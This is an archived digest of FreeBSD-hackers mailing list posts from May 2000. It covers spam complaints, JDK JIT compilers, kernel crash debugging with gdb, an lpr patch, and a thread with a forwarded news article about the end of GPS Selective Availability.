SPAM (was "Re: Spammage: I Surf, YOU GET PAID!!!!!! Promise") Message-ID: <20000503094339.B337@beastie.localdomain> Reply-To: boshea@ricochet.net Mail-Followup-To: Dragos Ruiu , hackers@FreeBSD.ORG References: <20000503033451.ZMLO1339.mtiwmhc21.worldnet.att.net@default> <0005022217370R.00340@kyxbot.zorg> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.4i In-Reply-To: <0005022217370R.00340@kyxbot.zorg>; from Dragos Ruiu on Tue, May 02, 2000 at 10:01:41PM -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG (excessive cross-posts removed from CC list) On Tue, May 02, 2000 at 10:01:41PM -0700, Dragos Ruiu wrote: > I would recommend that everyone who received this forward it back to > Mr. Pio at hspio@worldnet.att.net to make the point that this is > unacceptable behaviour. That's assuming that actually sent the spam. You know as well as anybody else that return addresses on e-mail are easy to fake. The message did come from worldnet.att.net, but the alias "hspio" could be a non-existant mailbox, or worse, an innocent third party. I sent a politely worded complaint to the postmaster at worldnet.att.net including the spam messages with all headers. They responded confirming that they received my complaint and told me to send future complaints to . They also said that they would "take appropriate action". We should stop posting about this now (I know how hypocritical this sounds coming from a posting!). But seriously, let's put this behind us and get back to hacking. Regards, -brian > > Just once each should suffice, and not contravene any usage policies :-). > > I did... Call it distributed spam negative reinforcement. :-) :-) :-} > Let's hope this will be sufficient to reinforce the lesson > about what not to do on public technical mailing lists. > > cheers, > --dr > > -- > dursec.com / kyx.net - we're from the future http://www.dursec.com > learn kanga-foo from security experts: CanSecWest - May 10-12 Vancouver > > Speakers: Ron Gula/NSW, Ken Williams/E&Y, Marty Roesch/Hiverworld, > Fyodor/insecure.org, RainForestPuppy/wiretrip.net, Theo de Raadt/OpenBSD > Lance Spitzner/Sun, Fyodor Yarochkin/KALUG, Max Vision/whitehats.com > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Brian O'Shea boshea@ricochet.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 9:56:58 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by hub.freebsd.org (Postfix) with ESMTP id 144B437BC05 for ; Wed, 3 May 2000 09:56:41 -0700 (PDT) (envelope-from adsharma@sharmas.dhs.org) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id JAA19696; Wed, 3 May 2000 09:56:08 -0700 Date: Wed, 3 May 2000 09:56:08 -0700 From: Arun Sharma Message-Id: <200005031656.JAA19696@sharmas.dhs.org> To: K.J.Koster@kpn.com Cc: freebsd-hackers@freebsd.org Subject: Re: why JDK 1.1.8 on FreeBFS is so slow ? In-Reply-To: <59063B5B4D98D311BC0D0001FA7E452201313B5A@l04.research.kpn.com> References: <59063B5B4D98D311BC0D0001FA7E452201313B5A@l04.research.kpn.com> Reply-To: adsharma@sharmas.dhs.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In muc.lists.freebsd.hackers, you wrote: > > As it stands, however, 1.2.2 will not have a JIT either, unless someone > finds a way to persuade Sun to help us out on this one. > > There are a number of JIT's available in the ports collection. Install and > use those. I have a description that Fuyuhiko Maruyama has written on how to > do that for the JDK 1.2.2 port, but I am sure you can figure out how to do > that for 1.1.8 too. What is not in the ports collection and has great performance is http://www.openjit.org/ I have it working on both jdk-1.1.8 and jdk-1.2.2 (Greg Lewis port) on FreeBSD. Very unscientific benchmarks show it to be about as fast as sunwjit. I'll try to post the results of some standard benchmarks as I find time. -Arun To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 10:25:47 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 0D28237BC1F; Wed, 3 May 2000 10:25:41 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA63381; Wed, 3 May 2000 10:24:36 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 10:24:36 -0700 (PDT) From: Matthew Dillon Message-Id: <200005031724.KAA63381@apollo.backplane.com> To: Howard Leadmon Cc: Greg Lehey , freebsd-stable@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Subject: Re: Debugging Kernel/System Crashes, can anyone help?? References: <200005030925.FAA91225@account.abs.net> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Judging by your original bug report, Howard, it seems likely that either the machine or the network the machine is sitting on is being attacked and the machine is running out of some resource (probably network mbufs). Increasing the NMBCLUSTERS any more will probably not help. What you need to do is figure out what kind of attack it is and start experimenting with the various kernel config (see LINT) and sysctl features to try to stem the attack. Now, of course the kernel should not be crashing... if you can obtain a backtrace from some of your core's it might help us locate the problem. gunzip vmcore.*.gz kernel.*.gz gdb -k kernel.0 vmcore.0 back gdb -k kernel.1 vmcore.1 back I do not think this is vinum or fxp related. If fxp is getting device timeouts its probably due to the machine or network being attacked. It's also possible that bad network cabling or a bad switch port is to blame. -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 10:29:59 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hoagy.demon.co.uk (hoagy.demon.co.uk [158.152.208.180]) by hub.freebsd.org (Postfix) with ESMTP id B949C37B97D for ; Wed, 3 May 2000 10:29:23 -0700 (PDT) (envelope-from davew@hoagy.demon.co.uk) Received: from localhost (davew@localhost) by hoagy.demon.co.uk (8.8.7/8.8.7) with SMTP id SAA22905; Wed, 3 May 2000 18:27:32 +0100 Date: Wed, 3 May 2000 18:27:32 +0100 (BST) From: Dave West To: Dhar Cc: hspio@worldnet.att.net, cypherpunks@toad.com, linux-admin@vger.rutgers.edu, WIN95-L@PEACH.EASE.LSOFT.COM, hackers@FreeBSD.ORG, linux-hams@vger.rutgers.edu, linux-config@vger.rutgers.edu, AccessHelp@egroups.com Subject: Re: MAKE MONEY FOR DOING NOTHING!!!!!!!!! PROMISE In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 3 May 2000, Dhar wrote: > > Join now (there's no survey to fill out) at > > http://www.alladvantage.com/home.asp?refid=LZG150 and please > > use my membership ID (LZG-150) when asked if you were referred > > by someone. And http://cheetahtech.cjb.net > > Darling, here is what you get for spamming us. I guess others on the > mailing list will also do this. I will do exactly what u say, but when it > comes to the person who referred me I will give LZG-149 instead of what > you said. I guess it will serve you right for all this junk you have been > sending. > Actually it's better to just tell AllAdvantage.com and they will cancell his account and bar him for life. Dave West E-Mail: davew@hoagy.demon.co.uk Semiras Projects Ltd. PGP public key available on request. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 10:38: 1 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from vnode.vmunix.com (vnode.vmunix.com [209.112.4.20]) by hub.freebsd.org (Postfix) with ESMTP id BF8A737B97D for ; Wed, 3 May 2000 10:37:59 -0700 (PDT) (envelope-from chrisc@vmunix.com) Received: by vnode.vmunix.com (Postfix, from userid 1005) id 94A70E; Wed, 3 May 2000 13:37:58 -0400 (EDT) Received: from localhost (localhost [127.0.0.1]) by vnode.vmunix.com (Postfix) with ESMTP id 7442D49A0F for ; Wed, 3 May 2000 13:37:58 -0400 (EDT) Date: Wed, 3 May 2000 13:37:58 -0400 (EDT) From: Chris Coleman To: hackers@freebsd.org Subject: Articles on Programming C (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am looking for someone to write a column/series on programming in C on BSD unix. The series would be aimed at beginners, in hopes of getting more people started in developing BSD code. It should contain some methodology behind the commit process and code correctness. Please respond to me directly. Chris Coleman Daemon News http://www.daemonnews.org Bringing BSD together To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 10:44:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id 01CE537BC31 for ; Wed, 3 May 2000 10:44:51 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id KAA63550; Wed, 3 May 2000 10:44:50 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 10:44:50 -0700 (PDT) From: Matthew Dillon Message-Id: <200005031744.KAA63550@apollo.backplane.com> To: Subject: GPS heads up Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Ok, this has nothing to do with FreeBSD, but I just had to post something since nobody else has. By presidential order, on May 1 the error introduced into the GPS system, called 'SA', was turned off. This means that your GPS receivers are now around 5-10 times more accurate then they were before May 1st. And I have to say, I am totally amazed! My handheld Garmin now tells me that it is accurate to 14 feet, rather then 100 ft. It is so accurate now that I can tell which side of the street I'm on! I had to drive from Berkeley to Sunnyvale yesterday... drove down in the morning, drove back in the evening. The tracks on my GPS (one going down 880 in the morning, the other going back up 880 in the evening) are perfectly parallel to each other, whereas before they would have been wildly different. Tracks for roads I travel now overlap almost exactly whereas before they were wildly different (sometimes up to half a mile off!). I am well and truely amazed. It's impressive to see the thing recognize when I take a few steps in one direction or another using a bunch of satellites sitting thousands of miles away in the sky. It's even more impressive to see the government do something right for a change! -Matt To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 10:49:29 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 18EF637BCC9 for ; Wed, 3 May 2000 10:49:26 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id TAA02241; Wed, 3 May 2000 19:48:43 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Matthew Dillon Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up In-reply-to: Your message of "Wed, 03 May 2000 10:44:50 PDT." <200005031744.KAA63550@apollo.backplane.com> Date: Wed, 03 May 2000 19:48:43 +0200 Message-ID: <2239.957376123@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <200005031744.KAA63550@apollo.backplane.com>, Matthew Dillon writes: > Ok, this has nothing to do with FreeBSD, but I just had to post > something since nobody else has. > > By presidential order, on May 1 the error introduced into the GPS > system, called 'SA', was turned off. > > This means that your GPS receivers are now around 5-10 times more accurate > then they were before May 1st. This has nothing to do with FreeBSD unless you count NTP servers, but actual data can be found on: http://212.242.40.185/cgi-bin/ppsoffset.cgi This is "gps.freebsd.dk" one of, if not the, most precise NTP stratum 1 servers in the world: +/- 20nsec. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 10:54:17 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from relay01.chello.nl (smtp.chello.nl [212.83.68.144]) by hub.freebsd.org (Postfix) with ESMTP id 6631737B513 for ; Wed, 3 May 2000 10:54:14 -0700 (PDT) (envelope-from wkb@chello.nl) Received: from chello.nl ([213.46.78.184]) by relay01.chello.nl (InterMail vK.4.02.00.00 201-232-116 license 199f3c0039bf924253955fca0afeedcc) with ESMTP id <20000503175429.IZGJ16343.relay01@chello.nl>; Wed, 3 May 2000 19:54:29 +0200 Received: (from wkb@localhost) by chello.nl (8.9.3/8.9.3) id TAA01185; Wed, 3 May 2000 19:54:12 +0200 (CEST) (envelope-from wkb) Date: Wed, 3 May 2000 19:54:12 +0200 From: Wilko Bulte To: Matthew Dillon Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503195412.C846@jedi.wbnet> Reply-To: wc.bulte@chello.nl References: <200005031744.KAA63550@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200005031744.KAA63550@apollo.backplane.com>; from dillon@apollo.backplane.com on Wed, May 03, 2000 at 10:44:50AM -0700 X-OS: FreeBSD 3.4-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, May 03, 2000 at 10:44:50AM -0700, Matthew Dillon wrote: > Ok, this has nothing to do with FreeBSD, but I just had to post > something since nobody else has. > > By presidential order, on May 1 the error introduced into the GPS > system, called 'SA', was turned off. > > This means that your GPS receivers are now around 5-10 times more accurate > then they were before May 1st. > > And I have to say, I am totally amazed! My handheld Garmin now > tells me that it is accurate to 14 feet, rather then 100 ft. It is > so accurate now that I can tell which side of the street I'm on! Just don't be so amazed and bump into the nearest McD recycling truck ;-) But yes: this is cool.. -- Wilko Bulte Powered by FreeBSD http://www.freebsd.org http://www.tcja.nl To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11: 0:30 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2]) by hub.freebsd.org (Postfix) with ESMTP id C34B337BCC9 for ; Wed, 3 May 2000 11:00:27 -0700 (PDT) (envelope-from dillon@apollo.backplane.com) Received: (from dillon@localhost) by apollo.backplane.com (8.9.3/8.9.1) id LAA63701; Wed, 3 May 2000 11:00:22 -0700 (PDT) (envelope-from dillon) Date: Wed, 3 May 2000 11:00:22 -0700 (PDT) From: Matthew Dillon Message-Id: <200005031800.LAA63701@apollo.backplane.com> To: Wilko Bulte Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up References: <200005031744.KAA63550@apollo.backplane.com> <20000503195412.C846@jedi.wbnet> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG :Just don't be so amazed and bump into the nearest McD recycling truck ;-) : :But yes: this is cool.. : :-- :Wilko Bulte Powered by FreeBSD http://www.freebsd.org That's what my brother Ben told me, though he used the example of an 18 wheeler plowing into my (airbagless) Subaru. I think he's going to force me to buy a new car :-) -Matt Matthew Dillon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11: 0:33 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.surf1.de (mail.Surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id D222E37B513 for ; Wed, 3 May 2000 11:00:27 -0700 (PDT) (envelope-from alex@cichlids.com) Received: from cichlids.com (p3E9C1168.dip0.t-ipconnect.de [62.156.17.104]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id SAA09677; Wed, 3 May 2000 18:58:53 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by cichlids.com (Postfix) with ESMTP id 847C2AC2D; Wed, 3 May 2000 20:04:37 +0200 (CEST) Received: (from alex@localhost) by cichlids.cichlids.com (8.9.3/8.9.3) id UAA35225; Wed, 3 May 2000 20:00:06 +0200 (CEST) (envelope-from alex) Date: Wed, 3 May 2000 20:00:06 +0200 From: Alexander Langer To: Matthew Dillon Cc: hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503200006.A35116@cichlids.cichlids.com> References: <200005031744.KAA63550@apollo.backplane.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <200005031744.KAA63550@apollo.backplane.com>; from dillon@apollo.backplane.com on Wed, May 03, 2000 at 10:44:50AM -0700 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Matthew Dillon (dillon@apollo.backplane.com): > satellites sitting thousands of miles away in the sky. It's even more > impressive to see the government do something right for a change! It's much more idiotic that the government prevented it before. That just means that military use is even better already, i.e. I just imagine they are at 1m or less already. Alex -- I need a new ~/.sig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:11:15 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 58E1737B7D6 for ; Wed, 3 May 2000 11:11:11 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id UAA02388; Wed, 3 May 2000 20:10:15 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Alexander Langer Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-reply-to: Your message of "Wed, 03 May 2000 20:00:06 +0200." <20000503200006.A35116@cichlids.cichlids.com> Date: Wed, 03 May 2000 20:10:15 +0200 Message-ID: <2386.957377415@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000503200006.A35116@cichlids.cichlids.com>, Alexander Langer writ es: >Thus spake Matthew Dillon (dillon@apollo.backplane.com): > >> satellites sitting thousands of miles away in the sky. It's even more >> impressive to see the government do something right for a change! > >It's much more idiotic that the government prevented it before. Well, they have added a new feature (which I can't talk about because I'm not supposed to know about how it works) which gives them an even more interesting and powerful DOS on the GPS system. I doesn't quite work by postal code, but it comes *very* close. >That just means that military use is even better already, i.e. I just >imagine they are at 1m or less already. Not quite, the military system is only better because it has two frequencies, and that doesn't improve things *that* much. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:11:27 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.wolves.k12.mo.us (mail.wolves.k12.mo.us [207.160.214.1]) by hub.freebsd.org (Postfix) with ESMTP id 1F8CA37B5FC for ; Wed, 3 May 2000 11:11:22 -0700 (PDT) (envelope-from cdillon@wolves.k12.mo.us) Received: from mail.wolves.k12.mo.us (cdillon@mail.wolves.k12.mo.us [207.160.214.1]) by mail.wolves.k12.mo.us (8.9.3/8.9.3) with ESMTP id NAA07194; Wed, 3 May 2000 13:11:01 -0500 (CDT) (envelope-from cdillon@wolves.k12.mo.us) Date: Wed, 3 May 2000 13:11:01 -0500 (CDT) From: Chris Dillon To: Garance A Drosihn Cc: Dan Nelson , freebsd-hackers@FreeBSD.ORG Subject: Re: PROBLEM FOUND (sort of): Re: lpr: order of print requests In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 3 May 2000, Garance A Drosihn wrote: > With the update I made, the sort will be stable because the two > filenames will not be equal. Please try the update at: > > http://www.freebsd.org/cgi/query-pr.cgi?pr=18361 > [PATCH] Fix for queue-ordering problem in lpr/lpd/lpq > > or pick up the update from: > ftp://freefour.acs.rpi.edu/pub/bsdlpr/lpr_qfix.diff This is excellent. I beat on it with my test-case and it works fine. Could someone pleeeeease commit this to 5-CURRENT, 4-STABLE and even 3-STABLE? I imagine even 2.2-STABLE users wouldn't mind. -- Chris Dillon - cdillon@wolves.k12.mo.us - cdillon@inter-linc.net FreeBSD: The fastest and most stable server OS on the planet. For Intel x86 and Alpha architectures. ( http://www.freebsd.org ) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:32:44 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.surf1.de (mail.Surf1.de [194.25.165.21]) by hub.freebsd.org (Postfix) with ESMTP id 92BF537B6C1 for ; Wed, 3 May 2000 11:32:32 -0700 (PDT) (envelope-from alex@cichlids.com) Received: from cichlids.com (p3E9C1168.dip0.t-ipconnect.de [62.156.17.104]) by mail.surf1.de (8.9.3/8.9.3) with ESMTP id TAA22015; Wed, 3 May 2000 19:30:54 +0200 Received: from cichlids.cichlids.com (cichlids.cichlids.com [192.168.0.10]) by cichlids.com (Postfix) with ESMTP id C422FAC2D; Wed, 3 May 2000 20:18:57 +0200 (CEST) Received: (from alex@localhost) by cichlids.cichlids.com (8.9.3/8.9.3) id UAA35572; Wed, 3 May 2000 20:14:27 +0200 (CEST) (envelope-from alex) Date: Wed, 3 May 2000 20:14:26 +0200 From: Alexander Langer To: Poul-Henning Kamp Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up Message-ID: <20000503201426.A35529@cichlids.cichlids.com> References: <20000503200006.A35116@cichlids.cichlids.com> <2386.957377415@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <2386.957377415@critter.freebsd.dk>; from phk@critter.freebsd.dk on Wed, May 03, 2000 at 08:10:15PM +0200 X-PGP-Fingerprint: 44 28 CA 4C 46 5B D3 A8 A8 E3 BA F3 4E 60 7D 7F X-Verwirrung: Dieser Header dient der allgemeinen Verwirrung. Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Thus spake Poul-Henning Kamp (phk@critter.freebsd.dk): > not supposed to know about how it works) which gives them an even more > interesting and powerful DOS on the GPS system. I doesn't quite work > by postal code, but it comes *very* close. what is a DOS?-) > >That just means that military use is even better already, i.e. I just > >imagine they are at 1m or less already. > Not quite, the military system is only better because it has two > frequencies, and that doesn't improve things *that* much. That's the official version :) Alex -- I need a new ~/.sig. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:34:22 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from critter.freebsd.dk (critter.freebsd.dk [212.242.40.131]) by hub.freebsd.org (Postfix) with ESMTP id 9C8B737B962 for ; Wed, 3 May 2000 11:34:19 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter.freebsd.dk (localhost.freebsd.dk [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id UAA02537; Wed, 3 May 2000 20:33:31 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: Alexander Langer Cc: Matthew Dillon , hackers@FreeBSD.ORG Subject: Re: GPS heads up In-reply-to: Your message of "Wed, 03 May 2000 20:14:26 +0200." <20000503201426.A35529@cichlids.cichlids.com> Date: Wed, 03 May 2000 20:33:31 +0200 Message-ID: <2535.957378811@critter.freebsd.dk> From: Poul-Henning Kamp Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <20000503201426.A35529@cichlids.cichlids.com>, Alexander Langer writ es: >Thus spake Poul-Henning Kamp (phk@critter.freebsd.dk): > >> not supposed to know about how it works) which gives them an even more >> interesting and powerful DOS on the GPS system. I doesn't quite work >> by postal code, but it comes *very* close. > >what is a DOS?-) Denial Of Service. >> >That just means that military use is even better already, i.e. I just >> >imagine they are at 1m or less already. >> Not quite, the military system is only better because it has two >> frequencies, and that doesn't improve things *that* much. > >That's the official version :) No, that's the measurement data. -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed May 3 11:35:39 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.rdc2.bc.home.com (ha1.rdc2.bc.wave.home.com [24.2.10.68]) by hub.freebsd.org (Postfix) with ESMTP id 48E7B37B901 for ; Wed, 3 May 2000 11:35:32 -0700 (PDT) (envelope-from dr@dursec.com) Received: from kyxbot.zorg ([24.113.134.64]) by mail.rdc2.bc.home.com (InterMail vM.4.01.02.17 201-229-119) with SMTP id <20000503183530.XETX4023.mail.rdc2.bc.home.com@kyxbot.zorg>; Wed, 3 May 2000 11:35:30 -0700 From: Dragos Ruiu Organization: kyx.net To: Matthew Dillon , Subject: Re: GPS heads up Date: Wed, 3 May 2000 11:29:43 -0700 X-Mailer: KMail [version 1.0.28] Content-Type: text/plain References: <200005031744.KAA63550@apollo.backplane.com> In-Reply-To: <200005031744.KAA63550@apollo.backplane.com> MIME-Version: 1.0 Message-Id: <00050311333411.00340@kyxbot.zorg> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 03 May 2000, Matthew Dillon wrote: > Ok, this has nothing to do with FreeBSD, but I just had to post > something since nobody else has. > Actually this is pretty relevant to network applications.... Here is some more info from a mailing list I maintain of tech clippings and other such geek stuff.... This has big implications for network applications as GPS is now sufficiently accurate to time even high speed ATM (I believe you need 14ns accuracy to sychronize to 53 byte cells on an OC3). cheers, --dr ---------- Forwarded Message ---------- Subject: kyxspam: GPS descrambled Date: Wed, 3 May 2000 10:55:47 -0700 From: Dragos Ruiu (Ok, I'm a network guy, why should I give a flying donut about GPS descrambling? Well one of the big blocks to using GPS receivers to synchronizing clocks on sniffers for high speed networks was the timing uncertainty they injected to allow military units to be more accurate than consumer ones. It was possible to use consumer GPS for high-speed capture synchronization before.... IF you bought expensive $3-10K differential GPS units that linked to multiple satellites and made multiple measurements to remove inaccuracies - making it unfeasible for distributed systems on cost. The impact of this new decision means that a whole bunch of new applications are now possible with consumer stuff with costs in the hundreds of dollars and not thousands. This now becomes a perfect method for synchronizing those distributed gigabit net appliances. Cool... --dr) url: http://geography.about.com/education/geography/library/weekly/aa050400a.htm President Turns Off GPS Selective Availability Dateline: 05/02/00 In plain English, we are unscrambling the GPS signal. It's rare that someone can press a button and make something you own instantly more valuable, but that's exactly what's going to happen today. All the people who bought a GPS receiver for a boat or a car, or their riding lawn mower or whatever, to use in business and in recreation, are going to find that they're suddenly 10 times more accurate as of midnight tonight. - Dr. Neal Lane, Director of the Office of Science and Technology. With SA activated, you really only know if you are on the field or in the stands at that football stadium; with SA switched off, you know which yard marker you are standing on. - Comparison of Positions With and Without Selective Availability. If you take a look at your handheld or automobile Global Positioning System (GPS) unit today, you'll notice that it's much, much more accurate now than it was on May 1. The reason? U.S. President Bill Clinton ordered Selective Availability (SA) turned off at midnight May 1 (Coordinated Universal Time). Now, civilian GPS users around the world will no longer experience the up to 100 meter (approximate 300 feet) random errors that SA added to keep GPS a more powerful tool for the military. Today, GPS units are accurate to within 20 meters (approximately 60 feet); although in good conditions, units should display an error of less than 10 meters. In 1998, President Clinton directed that SA should be turned off between 2000 and 2006. Fortunately, it happened early in that range of years. The U.S. military was able to quickly develop and test their ability to selectively block accurate GPS transmissions in areas of conflict or where U.S. security was at risk. When the U.S. Air Force Space Command turned off SA last night, GPS became incredibly accurate for the entire planet. GPS operates through the use of 24 satellites, paid for by the U.S. government but free for the world to use, that are orbiting the earth. The satellites broadcast extremely accurate time signals (accurate to within 40 billionths of a second) using their onboard atomic clocks. GPS units on the earth triangulate the time signals from the satellites to provide location, velocity, and elevation of the units themselves. When Selective Availability was on, GPS units received a scrambled signal from the satellites, which hindered private and commercial use of GPS. The current worldwide GPS industry is estimated to be approximately U.S. $8 billion and there are about four million GPS users worldwide. Now, experts expect that the demand and use of GPS will skyrocket, leading to $16 billion industry within three years. Use of GPS in a variety of areas has automatically been vastly improved. For example, automobile GPS units and mapping software under SA would often place the car one to two blocks from its actual location; today, GPS can tell which side of the freeway a car is on. GPS is actually now more accurate than the accuracy standard for United States Geological Survey topographic maps so outdoor enthusiasts should truly appreciate the new accuracy of their GPS units. Soon, the U.S. Federal Communications Commission will require location determination technology in cellular phones for use in emergencies as part of their enhanced 911 service. With a much more accurate GPS system, GPS might be the technology of choice and emergency responders will be able to respond more quickly and accurately to these signals from cellular phones. Future plans for improving the accuracy of GPS include the launching of eighteen additional satellites that are awaiting launch or are currently in production. Additionally, two new signals will be broadcast from the satellites by 2005 to help bypass any distortion from the ionosphere. For More Information For general information about GPS, visit my GPS category of links and articles Statement by the President Regarding the United States' Decision to Stop Degrading GPS Accuracy Department of Commerce Fact Sheet on the Civilian Benefits of Discontinuing Selective Availability Remarks at White House Press Conference 